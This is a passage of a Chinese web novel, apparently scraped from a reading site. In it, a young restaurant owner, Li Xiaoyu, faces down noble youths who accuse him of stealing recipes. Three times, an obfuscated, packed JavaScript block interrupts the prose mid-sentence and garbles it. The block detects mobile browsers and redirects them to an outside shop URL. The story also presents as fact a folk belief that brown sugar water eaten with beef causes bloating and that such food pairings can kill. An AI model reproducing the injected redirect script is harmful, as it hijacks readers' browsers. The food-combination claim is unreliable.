他上前一步,站到柳玉攀面前,冷着脸,用手指了指自己的眼睛。
有种你就抠。
柳玉攀没想到黎小鱼会做这动作,他盯着黎小鱼看了一会,发现对方是真不怕。
他没真疯到当这么多人的面,去抠一个人的眼睛。柳玉攀被黎小鱼的态度气到,转头对凌少卿说:“表哥,把人绑回去好好收拾一顿吧。”
凌少卿也正有此意,在这动手,传到他爹耳朵里,他也吃不了兜着走。
正准备招呼手下人动手,就听见身后有动静。
转身一看,贺辞来了。
凌少卿不清楚为什么在楼上睡觉的贺辞,会突然下来。他见人靠近,悄悄的往边上退几步,方便贺辞走。
省的被贺辞说挡路。
辞州的人体格普遍高大,而贺辞是同龄人中的佼佼者。
十八的年岁,个头已经快赶上他爹定安侯。
要知道定安侯就是因为身型过于高大,有个人熊的诨名。
贺辞身为其子,除了没那么夸张鼓囊的肌肉外,个子上已经与他爹差不多了。
因着比周围的人都高,贺辞一路走来,有种鹤立鸡群的感觉。
更别说他样貌出众,一袭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913079|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黑衣金线绣纹,通身的贵气,很容易让人将目光落在他的身上。
因为没睡好,贺辞的心情似乎并不好。面容冷峻,眉间一直微微皱着,随时都要发火的样子。
所有人的视线都在贺辞的身上,黎小鱼也不例外。
黎小鱼咬着唇内的软肉,压着自己的情绪。
突然见到又来一人,此人身高腿长,越靠越近。因为个头比他要高出不少,他看人的时候不得不抬头。
头顶有阴影,毒辣的阳光被遮住小部分。
黎小鱼快速打量一眼在小饭馆门口叫嚣的那些人,此时都安静下来,像是很忌惮来人。
他不明真相,以为这才是真正的幕后之人。
脸色这么臭,看来是气的不行。
瞧着穿着,是比其他几个都富贵的。就连耳上的耳饰,都给人一种价值连城的感觉。
黎小鱼正打量着来人,突然察觉眼眶一热,心中大叫不妙。
一直强压下的情绪,在此刻彻底压不住,崩溃了。
眼泪刷的一下流出,黎小鱼冷着脸上,多了些木然,他平静的抹了一下眼泪。
贺辞站在柳玉攀的身后,他本是想拉柳玉攀离开,免得他惹出什么事端。
谁知柳玉攀对面的少年,在无意与他对视一眼后的瞬间,直接就哭了。
贺辞眉心皱的更深。
他做什么了吗?他都没有靠近,只是看了一眼,这就哭了?
拨开挡路的柳玉攀,贺辞站定在哭泣的少年身前,低头不悦的问道:“你哭什么?”
他很可怕吗?
因为贺辞近一步的靠近,黎小鱼想要看人的脸,头要更仰一些,毒辣的日头也被遮的更多。
他整个人,都在贺辞的阴影里。
贺辞的视线落在黎小鱼一颗从眼尾滑落,浸入衣襟的泪滴上。
他心中啧了一声,京城来的就是不一样,这年纪了还这么能哭。
娇惯的。
“我没偷师。菜谱是我自己写的,和珍馔楼的没有任何关系。找茬的话……”
已经哭了,黎小鱼也不用再憋眼泪。干脆直接面对着人,讲了心里的想法。
他的声音有些喑哑,音量并不高。
贺辞双手抱于胸前,没听完黎小鱼的话,轻呵一声,“之前一直不吭声,我还以为你是个哑巴。”
黎小鱼生气。
下场就是,眼泪掉的更厉害。
贺辞看着哭的越来越凶的人,沉默了片刻。
随后侧眸对身后的柳玉攀道:“过来,他有话对你说。”
柳玉攀上前一步,贺辞转身,声音压低,“这家人是新来的州同知黎九章的亲眷,你有什么心思都收一收。”
柳玉攀嘴角抽搐一下,“小侯爷误会了,我能有什么心思?不过就是想要讨个公道罢了。”
贺辞没理会他,听着身后若隐若现的抽泣声,心里烦的不行,抬腿直接离开。
辞州是贺家的地盘,什么事都逃不过贺家人的耳目。
黎小鱼一家入城的那一刻起,身份就已经在贺家那边走了个过场。
本来贺辞是不想下去管这事,只是楼下实在太吵。
吵的他睡不着,起身站在窗口,看见了要犯疯病的柳玉攀。
真要让柳玉攀把人伤了,黎九章肯定会不依不饶。
他爹最头疼辞州这些文官,要是知道他在场却没阻拦,最后惹下一堆的麻烦,一定不会轻饶他。
只好下去走这一遭。
没想到的是,黎大人的这侄子,还真是与众不同。
真能哭。
14. 第 14 章
柳玉攀被贺辞警告了一句,又有凌少卿拦着,加上顾及黎小鱼的身份,没有再想着动手。
裴叔群从后面冒了出来,问黎小鱼,“你认识黎老头怎么不早说?”
“几位真有意思,上来就说我偷师,现在又怪我没有报名身份。还想要我怎样,不如一并说了,省的多费唇舌了。”
黎小鱼说的时候眼泪依旧没停,他太生气了,压根没办法平复。
反正现在已经在外头哭了,也不必再压着,他想说什么就说什么。
裴叔群被黎小鱼的话一噎,有些搞不明白这人怎么好好的像变了个人。
要么一句话不说,要么就说话带软刺,扎人。
黎小鱼不想和这群人多费唇舌,更不想再因为情绪缘故一直哭下去,这事要尽快解决。
否则也很影响生意,排队吃饭的都跑差不多了,他们因为害怕,连热闹都不敢看。
“人说话要讲证据,你们说我偷师,拿出证据。”
裴叔群不了解,他让道,示意凌少卿来说。
“黎家小饭馆一直以来无人问津,突然就会做牛肉了,还买了香料来做。好巧不巧的,之前你们饭馆的东家我们珍馔楼买过卤牛肉,你敢说没偷师?”
凌少卿越说越气,声音也大了起来。
珍馔楼是他娘留给他的,那些菜谱也是他娘珍藏的嫁妆里面的。
他不允许有人偷拿染指。
黎小鱼没想到是这逻辑,简直就是欲加之罪何患无词。
“跟我来。”
黎小鱼抹一把眼泪,说完就往饭馆里走。
这话听着像命令,几人跟也不是,不跟也不是。
黎小鱼不管他们,到黎九州跟前的时候,说了一句,“娘,你带着爹去看看大夫。不用担心我,有卢厨子在。”
夫妻二人看向黎小鱼,想说不用,可看到黎小鱼的神情后,这话怎么也说不出来。
小鱼好像生气了,这还是他们第一次看到孩子生气的样子。
一张脸上没了笑意,冷的不行。
黎九州点头,“好,爹和娘去去就回。”
卢大海立即拍着胸脯保证,“东家放心,俺肯定不让小东家伤着的。”
别的他也就保证不了了。
黎九州嗳了一声,跟着周珍娘去坐牛车,前往附近的医馆。
饭馆里面的食客也都散了,黎小鱼没有在意,直接进了后厨。从柜子里拿了些红糖,冲泡红糖水,又在里面加了些碎冰。
见卢大海进来,对卢大海说:“准备五人份的红烧牛肉,不要土豆。”
不用土豆的话,出菜更快。
黎小鱼端着个托盘,里面有五碗冰镇红糖水。
“天热,小店没好茶叶,更无美酒。若是诸位想解暑,不介意的话,可以喝这碗红糖水。”
黎小鱼泡红糖水的时候,心情平复了下来。他这会像没事人一样,给五人发红糖水。
倒是叫凌少卿几人看不懂了,之前哭成那样,脸色都难看不少。叫他们进来的语气也凶巴巴的,还以为会怎样,结果竟然给他们红糖水喝?
裴叔群嫌弃的看了一眼红糖水,“你在里面下毒了吧?”
黎小鱼轻笑一声,“你觉得呢?”
裴叔群被他笑的有些发毛,不过想来也不可能下毒。他们身份在那,真要是下毒,哪怕黎九章是知州都没用。
“瞧着诸位威风凛凛,结果连碗红糖水都不敢喝啊?”
黎小鱼这话说的气人,柳玉攀受不得激,端起红糖水咕噜咕噜就给喝光了。
别说加了冰后,味道还不错。
凌少卿不知道黎小鱼葫芦里卖的什么药,不管下没下毒,他才不喝。
裴叔群也没喝,觉得脏。
这碗都不知道被多少人用过了,他受不了。
另外两个也没喝,出门在外,他们可不会随便吃东西。说到底,也是觉得这小饭馆的东西不干净。
五人只有一人喝了,这结果在黎小鱼的意料之中。
很快后厨传来一道浓郁的香气,没一会卢大海也端着个大托盘出来。
里面装着五碗分装好的红烧牛肉。
肉香浓郁,香气扑鼻。
凌少卿五人忍不住的被吸引,下意识的吞咽着口水。
“尝尝?”黎小鱼用下巴点了一下牛肉。
凌少卿没有要吃的意思。
黎小鱼道:“不是说我偷师吗?尝尝看这味道和你们的卤牛肉有多像。”
话音刚落,凌少卿和柳玉攀就动筷子吃了起来。
肉刚入口,他们就顿住了。
随后又不死心的继续尝,尝到最后一碗肉见底,只剩下汤汁。
不一样。
完全不一样的味道。
甚至口感味道比珍馔楼的卤牛肉更好吃,即便是不想承认,他们最后也是因为实在好吃,才没有停下。
尝菜,只是借口罢了。
黎小鱼看着空碗,“好吃吗?”
凌少卿脸有些红,他拿帕子擦嘴,试图遮挡脸上的窘迫。
都吃光了,说不好吃太假,说好吃也没脸。
柳玉攀倒是一副无所谓的样子,直言道:“好吃,然后呢?”
裴叔群没动,即便他已经被香味勾的吞咽好几次口水。可他没办法说服自己用别人用过的碗吃东西。
另外两人一开始没动,后来看凌少卿兄弟二人越吃越香,也有些受不了。
他们就是不想在雅间里对着贺辞,这才出来的。本就与小饭馆没什么仇怨,吃这碗牛肉,除了会觉得不干净外,心里没其他负担。
二人象征性的夹一筷子尝尝,然后就停不下来了。
听到黎小鱼的问话时,他们看着眼前的空碗,寻思着幸好只是过来凑数撑场面,没真动口动手的。
不然还真有些没脸,没看见现在凌少卿的面皮都快烫红了吗。
凌少卿喜欢研究菜谱,平时会在小厨房里做菜放松。
因此能够尝出来,确实是完全不同的两种口味,没有一丝一毫的相像。
听到柳玉攀的反问,凌少卿拉了一下他衣角,小声道:“表弟别说了,好像误会了。”
这话被黎小鱼听个正着,“哦,误会了啊?”
窗户纸被戳破,凌少卿也不好再装不知道。他梗着脖子,脸上发烫,“对,误会了,你要做什么?”
黎小鱼脸上笑意收敛干净,“我想问一句,明明怀疑的时候买一份去尝尝,就可以分辨的出来,为什么不这么做,而是直接扣罪名?”
凌少卿哑然,他那时似乎根本没有想过这个方法,直接就认定了是饭馆的厨子偷师。
柳玉攀翻了个白眼,“你们这小饭馆突然好起来,难道不值得怀疑吗?”
黎小鱼看着凌少卿的神色,听了柳玉攀的话,算了,和这些人说不到一起去。
“你说的对,所以为了防止再有人以同样的方法给我泼脏水。”
黎小鱼看着二人,“二位与我去一趟府衙吧,我会就二位空口污蔑、无故打人之事,好好的与知州大人说说。”
柳玉攀脱口而出,“你疯了?为这事去府衙,首先你就要挨板子吧!”
黎小鱼道:“我有钱,可以赎板子。”
裴叔群显然也没想到黎小鱼有这样的想法,“黎小郎君,你为何会觉得江大人会理你?”
“他不必理我。”
黎小鱼看向裴叔群,“我只需要让辞州的百姓,让你们的父母知道,你们是什么样的人,就够了。”
“空口无凭攀污他人,动手打伤无辜百姓。辞州的好儿郎,与京城的一些惹人厌的纨绔子弟,也别无二致。”
裴叔群闻言警惕的盯着黎小鱼,之前这人一直沉默不语,后面又哭哭啼啼,倒是完全忽视了对方。
此人究竟是多善于观察,才会在这短短时间,将他们内心最忌讳的东西给看出来。
他们生在辞州,长在辞州。最讨厌的就是与京城或是南边的一些纨绔子弟相比。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913080|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他们每日勤修武艺,怎么可能和那些只会花天酒地的酒囊饭袋相提并论!
“不去府衙。”
凌少卿直接拒绝,但他也知道,他拒绝没用,因为腿长在黎小鱼的身上。
今天的事情看到的人颇多,也不好掩盖。
可要是被他爹知道,自己因为个菜谱生事,他爹会打死他的。
“你想要我做什么,我都答应。”凌少卿强调道:“但别太过分。”
黎小鱼想了一下,见好就收。
他指了一下柳玉攀,“我要你和他,在我的小饭馆里打杂一个月,并且向我爹道歉,给医药费。”
精神损失费他就不要了,让这两位天之骄子打杂,对他们的精神也是极大的折磨,当是两相抵了吧。
柳玉攀直接拍桌而起,“你做梦!”
黎小鱼不高兴道:“你轻点拍!拍坏了十倍赔我!”
说完还嘀咕一句,“两个胆小鬼,敢做不敢当。”
这话像刺一样扎进了二人心里,裴叔群心道不妙,果然下一秒就见凌少卿耳根子都红了,“我做!”
接着就是柳玉攀比之前更响亮的拍了一下桌子,手臂都被震的发麻,龇牙咧嘴的,“谁不敢当?你说谁不敢当?我还能怕你不成?做就做!”
裴叔群嘴慢一步,没拉住。
他无奈叹息一声,这两蠢货,一点也经不起激。就没发现对方是故意激他们的吗!
说出去的话,泼出去的水,后悔也晚了。
关键是黎小鱼还现场写了个契书,白纸黑字,签名画押。
想要反悔,只能时空穿越。
卢大海全程围观,大气不敢出,紧盯着那五名少年,生怕小东家因为语出惊人,被对方打了。
打死他也想不到,最后竟然是这样的结局。
“对了,你们上学吗?要是上学的话,中午和晚上饭点,是一定要来各自干满一个时辰的活的。早上去书院之前,也要先来饭馆里面,擦拭打扫一下饭馆才可以。不上学的话,需要从早上一直干到晚上。”
书院就在不远处,黎小鱼来饭馆的第一天就观察出来了,现在天热,书院中午有一个半时辰的休息时间,晚上散学敲鼓也是在饭点之前。
时间完全足够。
凌少卿和柳玉攀脸色骤变,黎小鱼捏着刚签好的契书,对着二人笑眯眯的,“二位不会抵赖的吧?”
“不会!”
得到兄弟两异口同声的回答后,黎小鱼放心了,“明天见。记得带银子,还要对我爹道歉哦。”
柳玉攀咬牙切齿,“用不着你提醒。”
五人要走,黎小鱼又喊住他们,“哎,等等。红烧牛肉不炖土豆,一碗六十文。小本生意,概不赊账。谁吃谁给钱啊。”
柳玉攀忍不住了,扭头吼了一句,“不是你要证明没偷师端来给我们吃的吗!”
“是啊,可我没说请你们吃啊。”黎小鱼拧眉,“你给不给?不给我去告官啦!”
“告告告!你告状精啊!”
柳玉攀一边骂一边从荷包里掏钱,摸半天也没摸到铜板,只有碎银子。
他拍了一把碎银放在桌上,“拿去!他们的我也付了!”
黎小鱼听着响,第三次心疼他家的木桌子。
他收了银子,“等着,给你找钱。”
“小爷赏你了!”
柳玉攀头也不回的就走,生怕黎小鱼又要说什么鬼话。
看着五人匆匆离去的背影,黎小鱼掂着手里的碎银。想着柳玉攀最后高昂的头和神情,这是以为这样能羞辱到他?
幼稚。
黎小鱼把足够菜钱的那个留下,其他的和卢大海一人一半。
他笑道:“白捡的银子,见者有份。”
回去的马车上,凌少卿撑着头,一脸凝重的看向车窗外。
柳玉攀捂着肚子,眉心夹的死紧。
他的脸色越来越难看,凌少卿都发现了不对劲。正要询问,就听见一声响亮的,“噗——”
15. 第 15 章
“表弟,你……”
凌少卿话没说完,狭小的的空间里,又是一声,“噗——”
柳玉攀脸红的要滴血,凌少卿想笑不敢笑,手悄悄的摸到车窗,将那窗户彻底推开。
好在这条路外面没有什么人,不怕车窗敞开,打到行人。
凌少卿忍着笑,“回去后叫大夫看看吧。”
“我知道!”
柳玉攀摸着肚子,吼完一句后,又问凌少卿,“表哥你不觉得腹胀?”
凌少卿仔细感受了一下,“不觉得。”
柳玉攀不吭声了,因为腹部胀的不舒服,感觉里面全是气,一按就能放一堆。
他怀疑是黎小鱼干的,可他表哥和他吃了一样的东西,并没有这样的症状。
只好先打消一半的疑虑。
回去后大夫检查,也说他只是普通的腹胀。
应该是吃多了的缘故,又没有多走动一直坐着,所以才会这样。
这下,柳玉攀彻底不怀疑黎小鱼了。
小饭馆内,凌少卿一行人刚走没多久,卢大海要收拾没动过的红糖水还有一碗红烧牛肉。
这些都没被碰过,但再次售卖也不可能。
这几天卢大海也挺累,由于红烧牛肉炖土豆卖的太好,经常供不应求,他自己都没正儿八经的吃一顿。
黎小鱼便道:“卢厨子,这碗红烧牛肉你吃了吧。”
卢大海应了一声,“多谢小东家赏了。”
黎小鱼正好口渴,红糖水里的冰块化了,碗边挂着细密的小水珠。
他一边喝一边道:“另外三碗你端去后厨放好。”
“好!”
卢大海麻利的按着黎小鱼说的办。
黎小鱼已经给了卢大海红烧牛肉,没有让卢大海喝红糖水。
天生万物,相生相克。
相克的食物长期吃的话,严重可能会丧命。而红糖水与牛肉共食,则会腹胀。
黎小鱼控制着量,柳玉攀不会有什么大问题,但这夜怕是会睡不安稳。
他不好对卢大海解释二者不能共食,不然就暴露了他对柳玉攀下手的事了。
他爹头挨的那一拳,还有他被当众的辱骂。因身份原因,他不好明面上做什么,只能用这种方法出口气。
在这件事上,算是与柳玉攀扯平。
剩下的三碗,黎小鱼等他爹娘回来一人一碗,到时候他再喝一碗吧。
黎九州和周珍娘回来的时候,黎小鱼正在打烊小饭馆。
今天闹了这出,生意是做不了了。
可惜,第三天没有一个完美的收场。
他把剩下的卤牛肉,给隔壁布庄的伙计小五送去了。
如果不是小五对着后厨喊了一声,他也不会那么快就出去。
小五收到满满一大砂锅牛肉的时候,都傻眼了。
“今天饭馆出事,晚上不开了。这些是剩下的一些牛肉,小五哥不嫌弃就收下吧。”黎小鱼脸上带着笑意,捧着砂锅往小五的怀里塞。
小五吞咽着口水,嘴上说着使不得,可那眼珠子早已黏在砂锅上,舍不得动一下。
“使得的,小五哥快收着吧。”黎小鱼把砂锅直接放小五的怀里,“还辛苦小五哥明日来饭馆送一趟砂锅。”
小五抱着砂锅,寻思着都到手了,再推辞也不好。他忙不迭的点头,“好好好!我一早来就送!”
黎家一家三口喝了红糖水后离开了,黎小鱼叮嘱卢大海,明天那两人要是先来了,就叫他们擦桌子,扫地。
又怕卢大海压不住那两人,强调道:“要是不听,卢厨子不必多过问。等着我来就行。”
“好的,小东家。”
回去是坐的牛车,黎小鱼问了一下黎九州的伤。
黎九州摸一把儿子的头,“爹没事,经揍着呢。只是小鱼啊,咱们这是得罪了他们吧?后面会不会有麻烦啊?”
黎小鱼垂眸,麻烦肯定会有。可这玩意,又不是怕了就不来的。
人善被人欺,马善被人骑。
他才不要做大善人。
不过他的爹娘都是软性子胆小的,他要是在他爹娘面前露出真面目,两人指不定要吓坏。
黎小鱼抬头后,脸上不见冷意。嘴角带着笑,如旭日春风,透着少年的爽朗。
“爹,娘。来的这段时间,我都打听过了。辞州是定安侯的封地,而定安侯是个眼里揉不得沙子的真英雄。”
“我们一家本本分分做生意,不会与人交恶。若是有人蓄意报复,那大不了豁出去,去侯府门口一坐,叫定安侯来帮咱们评理。”
黎小鱼抓着他爹的手,眼眶一红,“我倒要看看,这辞州的武将世家,是不是要逼死老百姓!”
黎九州看儿子又要哭,心里也心疼。
瞧今天把他家小鱼都给逼成啥样了,平日里最温柔和煦的孩子都冷了脸。
“小鱼别怕,有爹在呢。他们要是不依不饶,爹就睡侯府门口不走了。”
黎小鱼吸一下鼻子,“我陪爹一起去。”
“娘也去,咱们一家三口都去。”
黎九州回家后喝了大夫开的药就睡下了,一夜好眠。
柳玉攀那边今夜也喝了药,他黑着脸躺床上,腰下垫着软枕,能不压着屁股,方便出气缓解腹胀。
然后就放了一宿的屁,倒是不臭,可声音响亮的不行。
第二天起来,柳玉攀的脸比眼下的黑眼圈还黑。还神经兮兮的,觉得路过的下人们都在小声的议论和嘲笑他。
早上吃饭的时候,柳玉攀只吃了平时饭量的一半。
他再也不要吃饱肚子,引起腹胀了。
凌少卿虽说没腹胀,可他脸色也好不到哪里去。
今天是要去小饭馆丢人的第一天。
因为今天早上要去黎家小饭馆干活,兄弟二人比往日离府的时间要更早一些。
卢大海一如既往的早起,赶着去肉市买最新鲜的牛肉。
等他买好肉和菜,背着竹篓回到小饭馆的时候,发现门口有辆马车。
卢大海猜到来人是谁,硬着头皮背着背篓上前,对着车窗道:“两位郎君,小东家说人来了就直接擦桌子扫地。”
马车内很快传来一道气急败坏的声音,“要你说!”
卢大海往后退一步,心里老大不高兴。
这人脾气真坏。
没他们小东家一根头发丝好。
柳玉攀和凌少卿没有在马车里多待,想早点干完早点走。
卢大海把人领去后院,指着水井,“打水在这打就成,木盆和抹布都是现成的。可以一人擦桌子,一人拿笤帚扫地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913081|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
柳玉攀不想碰水,臭着脸拿了笤帚。
凌少卿只能打水擦桌。
两人都是生下来就享福的命,擦桌扫地的活虽简单,可做的却实在不能看。
不是抹布水太多,就是笤帚只扫了表面的灰尘,都不晓得往里掏掏。
看的卢大海干着急,恨不得替他们干算了。
两人不仅干活马虎,速度也慢。
凌少卿擦两下就觉得水脏,不想伸手进水里。也懒得再打水,嫌累得慌。
于是就一直捏着抹布小小的一角,在那水里荡来荡去。
也不再动手拧,最后直接一整个水滋滋的往木桌上拍。
黎小鱼进来第一眼就看了柳玉攀,对方一边翻着白眼,一边拿着笤帚在地上戳来戳去。
除了浑身上下都透着“老子不高兴”外,没看出有什么不舒服的样子。
看来是缓过来了。
黎小鱼收回视线,又看向凌少卿那边。
结果只看了一下就开始生气了。
在凌少卿的手下,每张木桌上都一层的水。放个小鱼苗在上面,鱼都能游起来。
黎小鱼心疼桌子,都是实木打的,哪里经得住凌少卿这样造啊。
“你是擦桌子还是养鱼呢?”
听到黎小鱼的声音,凌少卿没来由的哆嗦一下。
这感觉特别像在书院里做坏事被夫子抓个正着。
凌少卿捏着块抹布,一脸的不高兴,“你走路没声吗?突然出声要吓死谁?”
黎小鱼不理他的话,盯着抹布看,“抹布的水要拧干净,早上没吃饭吗?这点力气都没有?”
“水脏死了,我不拧。”
凌少卿浑身上下都透着拒绝。
“契书里可是写了,要经过我验收,合格了才能结束。”黎小鱼看看桌子又看看地,“你俩现在都不合格。”
“我怎么不合格了!”柳玉攀一跺脚,眼一瞪,示意黎小鱼看他脚下,“你敢说我扫的不干净!”
黎小鱼不怵他,就是个嗓门大的纸老虎,“你扫地腰比竹子都直,桌底下的扫了没?”
柳玉攀要嚷嚷,一想自己确实没扫,又闭了嘴。
真烦死了,这仇他迟早得报!
黎小鱼看一眼不想动的两人,慢悠悠来了一句,“谁先做完,谁就走。”
本来还想破罐子破摔的二人,在听了这话后又心不甘情不愿的动了起来。
“抹布拧干。”
“凳子下面也要扫。”
在黎小鱼一声声的提醒下,凌少卿十分后悔,他当时怎么就签了那契书了!
而柳玉攀在心里琢磨着坏主意,没空后悔。
在黎·监工·小鱼的严格要求下,凌少卿和柳玉攀兄弟两,在书院敲响上课的晨钟前,完成了早上的活,赶到了书院。
刚进去坐下,裴叔群就拉了一下凌少卿,用手指着他的衣服,“你不会穿着这身去干活了吧?瞧它脏的。”
凌少卿低头一看,好嘛,不知道什么时候把身前弄上了水。
他今天的衣服颜色是浅蓝色,湿了一片,很容易看出来。
最重要的是,这些水是脏的。凌少卿感觉身上有蚂蚁在爬,浑身不自在。
明天说什么也不擦桌子了,他要抢表弟扫地的活。
16. 第 16 章
裴叔群看一眼凌少卿,又看一眼沉着脸,随时都会爆发的柳玉攀。
半晌后叹一口气,“你们不愧是兄弟两,玉攀脾气躁经不起激就算了。少卿你怎么也一样?”
柳玉攀白了裴叔群一眼,“马后炮,你昨天怎么不知道拦我们?”
“我那是不拦吗?你两头点的比什么都快,谁拦得住?”裴叔群也不高兴,语气带着冲人的意味。
柳玉攀语塞,好像是这样。
他冷哼一声,“等着,别叫我逮到那条鱼一个人的时候!”
凌少卿皱眉,“你要干嘛?”
柳玉攀不耐烦的反问,“还能干嘛?打他啊。”
自己表弟什么性子,凌少卿比谁都懂。
从小离开家,无父母教养。刚来的时候,他娘还在世,身为表弟的姨母,多少能压得住表弟。
后来他娘去世,他爹只会揍他,根本不会过问表弟。
弄成了表弟如今这般无法无天,又暴躁受不得一点委屈的性子。
凌少卿也头疼,他娘去世前叮嘱过他,看好表弟。
可他怎么能看得住啊。
堵不如疏,既然表弟坚持,他还是别管了。只打一顿而已,解了气就不会闹腾更狠。
“你可小心些,别被抓住把柄。那黎小鱼的伯父是黎老头,他脾气又臭又硬,江老头拿他都没办法。”
凌少卿不放心的叮嘱。
柳玉攀不以为意,“那就连黎老头一起收拾,上次叫他发现了茶水有问题,还能次唔唔……”
裴叔群几乎是飞扑过来捂住了柳玉攀的嘴。
结果还是失败了,叫他蹦出了几个字。
不知是因为他动作太大,还是柳玉攀说的话,引起了不远处,正撑着头睡觉的贺辞注意。
“茶水什么问题?”
贺辞睁开眼睛,视线落在裴叔群身上,眼眸一片清明,哪里是刚睡醒的样子。
裴叔群紧张的吞咽一下口水,这事是他理亏,哪里敢说。
贺辞最烦磨叽,语气不悦,“你也哑巴了?”
“我说。”
裴叔群硬着头皮把在黎九章茶水里放虫子的事情给说了一遍,最后为自己辩解道:“小侯爷你也不是不知道,咱们辞州也没个能玩的,我就是太无聊了。”
“你无聊,就当没听到我的话?”
贺辞身上气息一沉,盯着裴叔群。
周围空气似乎都有了重量,压的裴叔群有些难受,他艰难道:“小侯爷,是我不对。”
贺辞随意扫了裴叔群一眼,往椅背上一靠,左耳的红宝石坠子随着他的动作轻轻晃动,在光线的照射下闪耀着光芒。
“江渚松嚣张这么久,好不容易来个不怕他的。你要是再折腾姓黎的,别怪我不客气。”
裴叔群松一口气,“小侯爷我哪敢啊?就最后放了条虫进茶水里面。刚送进去就被发现,后面想做的那些也都被未卜先知了。从那天之后我就没再捉弄过黎九章了。”
“未卜先知?”
“是啊。”
裴叔群点头,又把当时珍馔楼伙计带的话给贺辞说了一遍。
贺辞听完后没放心上,转了话头,“中午不吃书院的食堂,去珍馔楼。”
凌少卿和柳玉攀和黎小鱼之间的事,他们还没与贺辞说。
这会裴叔群看向二人,眼神示意他们。
柳玉攀脖子一伸,“小侯爷,我和表哥中午有事,就不去珍馔楼了。”
至于什么事,柳玉攀没说。
学堂里好些人看着呢,他哪里好意思说啊。
贺辞也不在意,无所谓的挥挥手。
……
小五一早就过来,将昨天那口砂锅还了。
他一脸感激的对黎小鱼道:“多谢黎小郎君的牛肉了!”
说完又给黎小鱼塞了个罐子,“这是我爹弄的野蜂蜜,小郎君留着尝尝。”
蜂蜜难得,黎小鱼捧着野蜂蜜,盯着小五的笑脸看了片刻后,确认他是真心送的,便收下了。
他笑道:“谢谢,我改明用这蜂蜜做个糕点,给你也送去些。”
小五忙摆手说不用,这黎小郎君可真客气。铺子里还有活要干,他不敢多待,着急忙慌的走了。
中午的时候,凌少卿和柳玉攀二人硬是等同窗都走光了才起身。
书院离小饭馆其实不远,走路没一会就到。
不过外面日头大,二人不想晒着,即便只有一点距离,也是乘马车前往。
眼下正是饭点,珍馔楼的伙计自然识得他们东家的马车。
正要上前去请人下来,就见那马车停在了斜对面小饭馆的附近。
然后他们眼睁睁看着他们的东家带着柳郎君,齐齐进去小饭馆。
这什么情况?
昨日不是还闹了一场吗?今日这是又要闹?
伙计们拿捏不准,一时间也没有轻举妄动,只时刻注意着小饭馆那边的动静。
凌少卿和柳玉攀早上就给了黎九州的药费,因为黎九州早上没来,道歉这事就只能在中午。
二人进了小饭馆的后院,就像是被掐住脖子的鸡,又想挣扎又无法挣扎。
最终只能在黎小鱼的监视下,梗着脖子声如细蚊的对黎九州说了抱歉。
黎小鱼也没挑刺,怕把这两天之骄子给逼急了。
黎九州昨天听他家小鱼说了,这两个孩子不仅会道歉赔钱,还会在饭馆里打杂赔罪。
两人虎是虎了点,不过也都是知错就改的好孩子。
黎九州笑眯眯的接受了二人的道歉,外头缺不了人,很快就出去帮周珍娘一起招呼客人去了。
黎小鱼目送他爹离开,对凌少卿二人说:“中午你们就在后厨帮忙吧。”
斜对面就是珍馔楼,书院不少的学生会去吃饭。这两人要是在前头帮忙,指不定就会被同窗看见。
黎小鱼可不想这两人因为颜面尽失,而破罐子破摔。
在后厨能避免被发现,还能叫他们能情绪稳定些,实打实的给他打杂一个月。
免费的劳动力呢。
凌少卿和柳玉攀听到黎小鱼的话时还有些不敢相信,他们以为黎小鱼会叫他们去前面打杂,借机让他们在认识的人面前丢脸,报昨日之仇。
没想到黎小鱼竟然叫他们去后厨。
不仅让他们不用面对熟人丢脸,还让他们靠近最该严防死守的后厨。
柳玉攀嘴唇一掀,“叫我们去后厨帮忙?你莫不是脑子坏了?不怕我们看到不该看的吗?”
黎小鱼奇怪道:“什么不该看的?我们饭馆可是真材实料不造假的,我可不怕你们看。”
两个人完全不在一个频道上,谁都不理解谁。
凌少卿在讶异和一丝的感动后,提醒黎小鱼,“那个,我平日爱研究菜谱,多少是会做菜的。我去后厨怕是不太合适。”
别人不能占他便宜,他也不想占别人便宜。
他得主动避嫌。
黎小鱼终于明白了对方的意思,这是怕无意间学了他的菜谱?
这几天和卢大海相处,黎小鱼多多少少也了解了这里的一些规矩。
他看了二人一眼,最后视线落在凌少卿
